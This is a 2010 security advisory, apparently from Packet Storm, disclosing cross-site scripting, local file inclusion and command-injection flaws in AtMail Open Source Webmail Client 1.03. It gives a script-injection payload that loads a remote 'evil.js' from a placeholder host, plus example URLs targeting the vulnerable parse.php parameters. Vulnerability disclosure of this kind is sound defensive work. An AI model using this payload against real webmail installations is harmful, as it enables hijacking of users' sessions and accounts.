ignorance isn't always an option

AtMail Open Source Webmail Client 1.03 XSS / Inclusion / Command Execution

AtMail Open Source Webmail Client 1.03 XSS / Inclusion / Command Execution
Posted Jun 23, 2010
Authored by Ivan Sanchez

AtMail Open Source Webmail Client version 1.03 suffers from code execution, cross site scripting and local file inclusion vulnerabilities.

tags | exploit, local, vulnerability, code execution, xss, file inclusion
MD5 | 145b04c740c2806192f7e099f7e80cc9

AtMail Open Source Webmail Client 1.03 XSS / Inclusion / Command Execution

Change Mirror Download
+===========================================================================================+
+ AtMail Open source webmail client 1.03 & XSS & Remote Execution Code +
+===========================================================================================+


Author(s): Ivan Sanchez

Product: AtMail open source webmail client 1.03


Web: http://atmail.com/ http://atmail.org/


Versions: 1.03 (last version)


Date: 20/06/2010


Vendor: Informed trough web form 19-06-2010



Information:


http://atmail.com/contact.php

atMail proudly serves various organizations, including leading ISPs, Portals, small to medium business
and prestigious educational and government clients. The AtMail software powers over 10 million email accounts worldwide,
used by people on a daily basis for their critical email communication. We serve over 4,000 paying customers from around 70 countries,
to deliver one of the best integrated Webmail and Email-server solutions on the market.



GOOGLE DORKS:
------------

n/a



Evil Function:
--------------

PARSE.PHP

http://demo.atmail.org/parse.php?file=html/LANG/simple/showmail_interface.html&ajax=1&func=
http://demo.atmail.org/parse.php?file=



Internal Variables without Controls:
------------------------------------

FILE
FUNC



Exploiting:
--------------

Insert and assign the evil code to these variables,then import the malicious java as you want!
I have replaced some URL's to avoid something ;-)


EVIL CODE= "><script src=http://site/evil.js></script>

http://demo.atmail.org/parse.php?file=html/LANG/simple/showmail_interface.html&ajax=1&func= EVIL CODE
http://demo.atmail.org/parse.php?file= EVIL CODE





More files affected with differents types of holes:

---------------------------------------------------

Reflected XSS:
--------------

Line 412 of showmail.php sends unvalidated data to a web browser, which can result in the browser executing malicious code.
Line 189 of showmail.php sends unvalidated data to a web browser, which can result in the browser executing malicious code.
Line 844 of showmail.php sends unvalidated data to a web browser, which can result in the browser executing malicious code.



File Inclusion:
---------------

The file index.php passes an unvalidated filename to a dynamic include statement on line 131. Allowing unvalidated user input to to control files that are included dynamically in PHP can lead to malicious code execution.



Command Injection:
-------------------

Line 47 in step6.php calls shell_exec() with a command built from untrusted data. This call can cause the program to execute malicious commands on behalf of an attacker.







To conclude, I could find a lot of issues regarding SLQ Injection, and other dangerous holes.





NULL CODE SERVICES [ www.nullcode.com.ar ] Hunting Security Bugs!


+===========================================================================================+
+ AtMail Open source webmail client 1.03 & XSS & Remote Execution Code +
+===========================================================================================+

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close